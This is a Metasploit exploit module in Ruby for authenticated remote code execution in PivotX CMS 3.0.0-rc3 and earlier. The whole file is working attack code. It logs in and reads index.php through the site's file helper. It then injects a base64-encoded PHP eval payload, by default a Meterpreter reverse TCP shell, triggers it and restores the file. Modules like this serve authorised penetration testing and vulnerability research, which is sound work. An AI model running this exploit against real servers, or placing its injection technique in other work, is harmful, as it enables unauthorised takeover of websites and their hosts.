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class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN',
'msutovsky-r7'
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025–52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php')
})
return Exploit::CheckCode::Unknown, 'Unexpected response' unless res&.code == 200
return Exploit::CheckCode::Safe, 'Target is not PivotX' unless res.body.include?('PivotX Powered')
html_body = res.get_html_document
return Exploit::CheckCode::Unknow, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable.")
end
def login
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}",
'data' => data_post,
'keep_cookies' => true
})
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
@csrf_token = Regexp.last_match(1)
end
def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
@base_dir = Regexp.last_match(1)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200
@original_value = res.get_html_document.at('textarea')&.text
fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
end
def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
restore
end
end
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